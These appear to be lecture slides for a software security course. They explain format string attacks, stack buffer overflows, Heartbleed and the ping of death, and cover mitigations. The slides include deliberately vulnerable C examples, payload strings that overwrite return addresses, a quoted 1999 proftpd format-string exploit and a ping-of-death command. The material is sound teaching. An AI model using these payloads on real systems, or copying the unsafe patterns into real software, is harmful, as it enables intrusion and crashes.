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Recap of last week

Programs are partitioned into different segments
• The code segment .text for program code
• .data and .bss for global and static variables
• These segments are usually found at the low addresses.
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Recap of last week (Stack)

Stack stores local function variables
• Starts at high addresses, grows towards lower addresses
• Typically addresses start with 0x7ff on 64-bit Linux.
• Contains return addresses, function arguments, frame pointer
• Stack is automatically managed (via stack pointer), data is gone

when function returns
• Stack overflow: exceed the maximum stack size (often via recursion)
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Recap of last week (Heap)

Heap for persistent or large data
• char *x = malloc(sizeof(char));
• Resize with realloc()
• Always, always check if the returned pointer is NULL!
• Return used memory with free()
• Programmer manages heap memory

– Double free()
– Use-after-free()
– Memory leaks
– Pointers that point to free()d memory
– . . .

• Use calloc() to non-lazily allocate zeroed memory.
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Program arguments

• Remember that a program is often used with arguments:
./prog bla -foo ...

• These are passed to the main function of your C program.
int main(int argc, char* argv[]){

• argc contains the number of arguments
• argv is an array of character pointers (equivalent type: char**)
• argv[0] is the name of the program

– Thus, argc will be at least 1!

• First command line argument will be argv[1].
• Second command line argument will be argv[2].
• ...
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Everything is in memory

Breaking stuff with printf

Buffer overflows
Heartbleed
Ping

Why?
Why does it work
Why do we care

Inserting our own code

Homework
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Last week’s homework
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Von Neumann Architecture

Figure: Von Neumann Architecture

(Kapooht, CC BY-SA 3.0, https://commons.wikimedia.org/w/index.php?curid=25789639)
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Everything is data

• The Von Neumann architecture
doesn’t treat programs any
different from program data!

• This means that the memory
unit is shared between the code
of the program and whatever
the program does in memory.

• Control data such as return
addresses are stored in between
your program data.

• The memory bookkeeping is
not just about the data of your
program, but also the program
itself.

Figure: Von Neumann Architecture

(Kapooht on Wikimedia Commons, CC BY-SA 3.0)
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Programs are data

So we now know that programs are controlled by what is in the same
memory as the variables that we are reading and writing. . .

And C does not check if what we are doing to the memory makes
sense. . .
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Things we will be doing at in the next weeks

• Read data from memory that we shouldn’t be able to see

• Getting a program to call functions it shouldn’t.
• Inject our own code into a program
• Hack into a remote machine
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Recall: printf

int printf(const char *format, ...);
[printf] writes the output under the control of a format string
that specifies how subsequent arguments are converted for out-
put. src: man 3
printf

If the attacker controls format, they can do a lot of nasty things.
Remember:

%d Print int as decimal
%u Print unsigned int as decimal
%x Print int as hexadecimal
%ld Print long int as decimal
%hu Print short int as unsigned decimal
%p Print variable as pointer (void*)
%s Print string from char* (ie. characters until we run into

NULL)
%0Nx Print as hexadecimal integer such that it’s at least N

characters wide. Fill with zeros.
%N$x Print the Nth argument of printf as hexadecimal integer.
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Having fun with printf

What does the following program do wrongly?
// program.c
int main(int argc, char* argv[]) {

// should have been printf("%s", argv[1]);
printf(argv[1]);

}

What happens if we run ./program %x?
It will print the second argument of printf, even if it’s not there!
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So what do we see again?

• So if we run ./printf %p, we will print the value of the second
register that would contain an argument.

• If we print ./printf ’%7$p’, we will print the first 8 bytes on the
stack.

• If we want 8 bytes, zero-padded, without 0x we can use %016lx.
• The addresses are randomized each time, because of ASLR!

– Turn off ASLR in a shell using setarch -R bash.
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printf is a powerful debugger

#include <stdio.h>
void do_print(char* string)

{ printf(string); }

int main(int argc, char** argv) {
long bla = 0xDEADC0DECAFEF00D;
do_print(argv[1]);

}

./printf "$(perl -e ’print "%p "x14’)"

... ↓ 0x7f. . .

bla = 0x...

return address

frame pointer

(local variables)

...
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Turning it into an arbitrary read

• If we can only read up the stack, this bug would not be as powerful
as it is

• Typically, the string being input is somewhere on the stack

– In the same range as where printf is reading its arguments

• Remember the %s format character: it gets the argument, interprets
it as a char*, and reads the string at that address.

• If we put an address in the place where printf will read the
argument from, we control where printf reads!
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More on printf

Q: So know we know how to read stuff, but printf only displays things!
We can’t modify the program if we can only read things!

%n The number of characters written so far is stored into
the integer pointed to by the corresponding argument. That
argument shall be an int *, or variant whose size matches the
(optionally) supplied integer length modifier. man 3 printf

Figure: C standard library designers
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Writing to arbitrary addresses

• Much like the arbitrary read, we can write data to an arbitrary place
in memory.

• Again, we need the string being input somewhere up the stack, such
that printf can read it.

• Again: %n writes into a int*
• Put an address in the place where printf will read the argument

from, and we can control where we write!
• %n writes the number of characters written so far

– Writing ±247 characters to write a 48-bit (Linux, amd64)
address is impractical (±16 TiB).

– Solution: Instead use length modifiers and write in parts: %hn
writes 16 bits instead.
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First format string exploit

Exploit for proftpd 1.2.0pre6

From: tymm () COE MISSOURI EDU (Tymm Twillman)
Date: Mon, 20 Sep 1999 14:31:51 -0500

Tested on Linux with standard RedHat 6.0 install (w/glibc 2.0
compatability), proftpd installed with configure/make/make install...

- ftp to host
- login (anonymous or no)

(this should be all on one line, no spaces)

ftp> ls aaaXXXX%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u
%u%u%u%u%u%u%u%u%u%653300u%n

(replace the X's with the characters with ascii values 0xdc,0x4f,0x07,0x08
consecutively)

https://seclists.org/bugtraq/1999/Sep/328
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A note on old exploits

• This old exploit was, in many ways a lot easier to do

• Reason: on x86 addresses were 4 bytes exactly
• On AMD64, a user-space address is 6 bytes
• . . . But they’re stored in 8 bytes
• This means that the top two bytes are 0x0000.
• null bytes terminate strings!
• Exploits using %n are a bit harder to pull off. . .

– Overwriting the return address byte-by-byte means you’ll need
more than one %n and thus more than one address. . .

– If you only need to overwrite a single byte, still easy.
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– If you only need to overwrite a single byte, still easy.
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In a more perfect world

>>> my_list = [1, 2, 3]
>>> my_list[42]
Traceback (most recent call last):

File "<stdin>", line 1, in <module>
IndexError: list index out of range

Of course, the overhead of checking this and providing sensible errors to
programmers is much too big.
Remember the last time you spent hours debugging some segmentation
error?
If you ever face a decision to choose a programming language, please
think about if you really need C(++) or if you can use a safer language
such as Rust (good alternative for C), Go (good with concurrency) or
Python (if you can take the performance hit).
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Buffers on the stack

void func() {
char buf[20];

}

Any C programmer quickly learns that reading
buf[20] will happily work, but is outside of buf!

What are we reading when we read buf[20]?
Remember, buf[20] == *(buf+20), so we read
up the stack!
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Buffers on the stack

void func() {
char buf[20];

}

Any C programmer quickly learns that reading
buf[20] will happily work, but is outside of buf!
What are we reading when we read buf[20]?
Remember, buf[20] == *(buf+20), so we read
up the stack!

... ↓ 0x7f. . .

caller of func

return address

frame pointer

buf[19]

buf[18]

...
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No bounds checking — what could go wrong?

• April 7, 2014, OpenSSL discloses
“Heartbleed” bug

• Heartbleed allows remote attacker to
read out OpenSSL memory

• Content typically includes
cryptographic keys, passwords, etc.

• Bug was in OpenSSL for more than 3
years

• Introduced on December 31, 2010
• First bug with a logo, T-shirts
• Major media coverage
• Initiated major changes in OpenSSL

Underlying problem: Out of bounds array access in OpenSSL
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How Heartbleed works

https://xkcd.com/1354/
27
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Ping

• ping is a protocol that lets you check if a server is online and what
the round-trip latency is.

• Sends an icmp packet to the server, server sends the same thing
back.
~ $ ping -c2 10.8.0.1
PING 10.8.0.1 (10.8.0.1) 56(84) bytes of data.
64 bytes from 10.8.0.1: icmp_seq=1 ttl=64 time=15.4 ms
64 bytes from 10.8.0.1: icmp_seq=2 ttl=64 time=14.10 ms

--- 10.8.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 3ms
rtt min/avg/max/mdev = 14.992/15.213/15.435/0.253 ms
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Assumptions in IP

• IPv4 packets are limited to a length of 65535 bytes

• IPv4 packets get “chopped” into fragments for transportation
through, e.g., Ethernet

• IPv4 header has a fragment offset
• Fragment offset + packet size must not exceed 65535
• But of course, we can forge a larger packet
• Ping of Death (mid 90s)
• Receiving host assembled the fragments into a buffer of size 65535
• Bug present in UNIX, Windows, printers, Mac OS, routers
• With some implementations of ping, crashing a computer was as

easy as ping -s 65510 target
• Lessons:

– Assume anything you get from outside your program is broken,
including the specifications

– Check if fragment offset + packet size < 65536
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IPv6

• Late 90s, early 2000s: introduction of IPv6.

• You see where this is going. . .

– CVE-2013-3183: IPv6 ping of death against Windows Vista
SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1,
Windows 8, Windows Server 2012, and Windows RT

– CVE-2016-1409: IPv6 ping of death against Cisco’s IOS, IOS
XR, IOS XE, and NX-OS software
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Why does this even work?

• The C specification contains descriptions of how things should
behave

– e.g. i++ gives the value of i and increments it afterwards.
• It also defines that the behaviour of some things is undefined

– anything may happen for undefined behaviour

• Undefined behaviour enables some compiler optimizations

Undefined behavior — behavior, upon use of a nonportable or
erroneous program construct, . . . for which the standard imposes
no requirements. Permissible undefined behavior ranges from
ignoring the situation completely with unpredictable results, to
having demons fly out of your nose." John F. Woods,
comp.std.c, 1992-2-25.
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Examples of undefined behaviour

Division by zero x / 0

Modifying between sequence points i = i++ + 1;
Null pointer dereferencing char *i = NULL; *i
Use of unitialized variables char x; printf("%c", x);
Indexing out of bounds char x[20]; x[21]
Signed integer overflow Compilers may assume that x will never be

smaller than INT_MAX and remove the if block, but
func(1) will probably return a large negative number.
#include <limits.h>
void func(unsigned int foo) {

int x = INT_MAX;
x += foo;
// probably removed:
if (x < INT_MAX) bar();
return value;

}
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Never trust (user) input

• Unfortunately, we usually have to expose our
software to those people who will always find
ways to break it: users.

• Users will not respect your assumptions when
you write your program.

• A lot of software is exposed to over 4.5 billion
users through the internet

• User input may arrive into your program in
many different ways

– Keyboard input
– Network packets
– Files
– Database content
– The file name of your program: argv[0]

Figure: PEBKAC
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– The file name of your program: argv[0]
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How do we fix this?

• Use memory-safe languages

• If you have to use an unsafe language:

– Turn on every warning you can.

I -Wall
I -Wextra
I -Wpedantic
I -Wformat -Wformat-security
I -Weverything (Clang only)

– Compile with run-time sanitizers:

I -fsanitizer=address
I -fsanitizer=undefined

– Test with dynamic analysis tools like Valgrind
– Check out static analysis tools that analyze at compile-time.
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Inspecting a buffer with printf

void func(char* string) {
char buf[20];
for (int i = 0; i < 20; i++)

buf[i] = 'A' + i;
printf(string); // our debugger

}
int main(int argc, char* argv[]) {

func(argv[1]);
}
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Inspecting a buffer with printf

void func(char* string) {
char buf[20];
for (int i = 0; i < 20; i++)

buf[i] = 'A' + i;
printf(string); // our debugger

}
int main(int argc, char* argv[]) {

func(argv[1]);
}

... ↓ 0x7f. . .

return address

frame pointer

buf[19] = 'T'

buf[18] = 'S'

. . .

buf[0] = 'A'

...
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man gets

GETS(3) Linux Programmer's Manual GETS(3)

NAME
gets - get a string from standard input (DEPRECATED)

SYNOPSIS
#include <stdio.h>

char *gets(char *s);

DESCRIPTION
Never use this function.

gets() reads a line from stdin into the buffer pointed to by s until either a termi-

nating newline or EOF, which it replaces with a null byte ('\0'). No check for buf-

fer overrun is performed (see BUGS below).

BUGS
Never use gets(). Because it is impossible to tell without knowing the data in
advance how many characters gets() will read, and because gets() will continue to
store characters past the end of the buffer, it is extremely dangerous to use. It
has been used to break computer security. Use fgets() instead.
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Overflowing a buffer

void func() {
char *result;
char buf[100];
printf("Enter your name: ");
result = gets(buf);
printf(result); // our debugger

}
int main(int argc, char* argv[]) {

func();
}

./buffer-vuln.c:6: warning: the ‘gets’
function is dangerous and should not be
used.
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Overflowing a buffer

void func() {
char *result;
char buf[100];
printf("Enter your name: ");
result = gets(buf);
printf(result); // our debugger

}
int main(int argc, char* argv[]) {

func();
}

./buffer-vuln.c:6: warning: the ‘gets’
function is dangerous and should not be
used.

... ↓ 0x7f. . .

return address

frame pointer

buf[99]

buf[98]

. . .

buf[0]

...
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Taking control of the return address

So what if we feed this program 'A'x116? ... ↓ 0x7f. . .

return address

frame pointer

buf[99]

buf[98]

. . .

buf[0]

...
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Taking control of the return address

So what if we feed this program 'A'x116? ... ↓ 0x7f. . .

AAAAAAAA

AAAAAAAA

buf[99]= A

buf[98]= A

. . .

buf[0]= A

...
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Taking control of the return address

So what if we feed this program
'A'x108

1

+"\xDE\x0D\xDC\xAD\x0B"?

Note the endianness!

1) actual values for the offset will vary with alignment, sizes
of buffers and other local variables.

... ↓ 0x7f. . .

return address

frame pointer

buf[99]

buf[98]

. . .

buf[0]

...
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Taking control of the return address

So what if we feed this program
'A'x1081+"\xDE\x0D\xDC\xAD\x0B"?

Note the endianness!

1) actual values for the offset will vary with alignment, sizes
of buffers and other local variables.

... ↓ 0x7f. . .

0x0BADCODE

AAAAAAAA

buf[99]= A

buf[98]= A

. . .

buf[0]= A

...
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This week’s homework

• Simple buffer overflow to corrupt memory

• Find a vulnerability using gdb and exploit it

– Use the links and follow a gdb tutorial!

• Redirect a program to call a function that it shouldn’t have called.
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Hint about last week’s homework

For the magic_function.c exercise:
• Draw some pictures about what’s going on on the stack when you

call magic_function()
• Make sure that the compiler doesn’t remove unused variables!

– For example, print the result to make it ‘used’
– You could try to mark a buffer as volatile

volatile char bla[1000];
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Crashes

• Exercise 2 (malloc) shouldn’t crash.
• Exercise 4 does crash: it’s leaking memory
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